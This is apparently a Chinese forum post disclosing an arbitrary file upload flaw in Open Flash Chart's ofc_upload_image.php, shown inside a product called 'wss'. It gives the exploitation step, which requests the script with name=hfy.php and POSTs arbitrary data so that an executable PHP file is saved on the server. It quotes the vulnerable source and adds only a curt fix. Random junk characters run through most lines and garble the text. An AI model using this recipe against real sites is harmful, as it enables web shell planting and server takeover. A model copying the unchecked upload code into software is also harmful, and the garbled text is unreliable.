POST 数据漏洞文件执行任意后缀文件保存; v$ x5 F6 C3 k, l4 A7 l5 ?5 p
漏洞文件/chart/php-ofc-library/ofc_upload_image.php
/ S; v. [( g( ]" U3 }* h. x5 _1 ?. y8 l' l7 Q6 d( F
利用:
1 d( r1 s# X4 ]4 ^' \: h7 B x5 U/chart/php-ofc-library/ofc_upload_image.php?name=hfy.php hfy.php 文件名: U7 _9 n" E( [( V8 v3 N! E
3 g: }9 s2 P: BPost任意数据; j) K; j& r6 Z$ U+ x
保存位置http://localhost/chart/tmp-upload-images/hfy.php3 } }$ H( r2 B0 \3 x
& r+ {9 F( v h$ v$ E* x# G( E) v& @6 X
U) W* u4 F0 p
最新版wss漏洞文件,即使是收费版本也有的,在新浪商店部署的demo~
1 c) D2 U+ M. ?+ O
i* C/ w8 x% X2 E2 o9 b<?php. }) v: a; i* l
( a! V+ W: ~$ I. R7 ^ f5 A
//( F# ? Q4 Y% v5 U
// In Open Flash Chart -> save_image debug mode, you
0 l3 W; g% ^1 o) @ J5 K// will see the 'echo' text in a new window.! W% k, d3 R- `3 M" M* v( e
//
: Z5 K" [8 e; F& }9 {& o6 d( Y5 }& `* a; Z% h4 b$ w
/*
4 Q/ \( U' R& p4 C# x3 P, h5 x4 r
+ a5 K0 `5 u* |% u/ u2 \0 Yprint_r( $_GET );
1 T* ^2 ]6 L2 ^# _& sprint_r( $_POST );
: Z6 n: c* r9 y6 E Sprint_r( $_FILES );
7 c* `2 F8 }, j* @
( R+ J% ~( Z4 r& x) K- i' [- a }print_r( $GLOBALS );- V/ w* t# @4 f
print_r( $GLOBALS["HTTP_RAW_POST_DATA"] );
2 C8 z/ g+ H. f8 Z/ `. Y% W( {4 Z8 {: S
*/
1 i' Z5 E/ k$ {2 ?// default path for the image to be stored //
7 |, j. T% X7 [) b N3 ?$default_path = '../tmp-upload-images/';
3 T% J! |9 n" W% A7 _; s. X! U8 |* Y- y
if (!file_exists($default_path)) mkdir($default_path, 0777, true);, [4 V0 Q2 z+ {7 `; V
' F h2 g1 E3 O0 v, ^: Q// full path to the saved image including filename //3 p0 [. j. ]" \
$destination = $default_path . basename( $_GET[ 'name' ] );
% b! z% z. z1 l- N2 i; K2 t" Y6 R3 ~! g5 [' \5 }- M
echo 'Saving your image to: '. $destination;! D( }' n: h$ ?8 q# m9 m9 {7 @
// print_r( $_POST );
* B! z ~4 l% b6 I, O9 f// print_r( $_SERVER );
+ V& M& Y$ L. t+ r. i; e$ q// echo $HTTP_RAW_POST_DATA;
E- s _" x$ A# `4 W5 {" s( H
! o; W4 y" q: M/ Q4 B( Q//$ g H! ^5 g5 E4 e
// POST data is usually string data, but we are passing a RAW .png
7 X9 V* U- O G- k) Q// so PHP is a bit confused and $_POST is empty. But it has saved4 d3 V. }4 k9 c, i" }. J
// the raw bits into $HTTP_RAW_POST_DATA
1 p' s$ }0 d7 E6 J* k//8 O% P. O: ]- \3 R0 C
: y n1 {! I+ s5 m2 n S
$jfh = fopen($destination, 'w') or die("can't open file");
( d/ c2 i; X. I) p* Wfwrite($jfh, $HTTP_RAW_POST_DATA);$ x7 w# R, [4 O! g; o; A
fclose($jfh);
( @5 w, E% X' l; R, }% w+ F1 V9 d% a# g! F9 V5 {$ s- I: K) T
//
8 T& w2 v/ s* c6 I// LOOK:
- m2 `$ e8 I6 d& Q//
& o/ ^ o2 S4 k! S& h' @exit();& s0 W; b' y8 p) O3 i5 N% K1 N( X
//
5 _2 h2 [+ u- G3 _ s// PHP5:
' U& v) j* {, `" N1 ~7 ]; D// H& y3 G# Z* |
7 G Y/ b6 C) Z% y. m$ v1 l" s D( l* X2 _' g& Z
// default path for the image to be stored //
0 j/ f' X% m& F7 f6 x9 p8 \$default_path = 'tmp-upload-images/';
6 @( r! w, R- f7 ~. {! u
# K4 Q7 I- Z+ e5 U$ rif (!file_exists($default_path)) mkdir($default_path, 0777, true);
- P* }4 {0 T7 p: ]/ b; i
: m% Y" p5 c3 z// full path to the saved image including filename //
C. y v; k: Z, ~$destination = $default_path . basename( $_FILES[ 'Filedata' ][ 'name' ] ); 6 t+ t1 g0 Q6 x8 s
, E/ ?6 _/ g' m+ j4 L
// move the image into the specified directory //# K$ O" O4 C3 o7 Y* Y$ {, c
if (move_uploaded_file($_FILES[ 'Filedata' ][ 'tmp_name' ], $destination)) {$ X3 u5 k( q8 |5 x4 [/ b& @
echo "The file " . basename( $_FILES[ 'Filedata' ][ 'name' ] ) . " has been uploaded;";
/ P. h3 c3 |( X% u3 v} else {
- X7 D$ ~: L5 o echo "FILE UPLOAD FAILED";
1 r9 U, c+ B7 @/ B' P0 T w# F}+ `! q; E5 I2 K" k4 m- m& [
8 Q- [% A( E2 x( o( c, d7 |
& a8 Y% b" q% w?>5 R+ P/ v9 e' H6 [5 Z7 u, N
" l, b: p1 U. E9 g
% F6 N) D) j. Y7 Q) B$ ?4 K. E
- I2 R" M( Q* s; ^1 P0 @1 n) W8 @
: g: N" a! q5 C6 U
% T: X" N4 Y& T) I: T$ A+ o; q2 v! M- m7 b/ n) i1 K
修复方案: , |7 O2 e& a% r: U9 I$ U0 N' @
这个漏洞文件就是个杯具,怎么破,加权限验证,后缀等验证~,自己搞 9 T2 t$ O; O H6 S% k2 T6 I
# l d f O5 o" ^$ z
1 l, s; X& {* `6 Z6 E
- ^' V' P3 W; {: _$ ^
5 `* t0 m- V3 o3 `3 C: ^+ F
|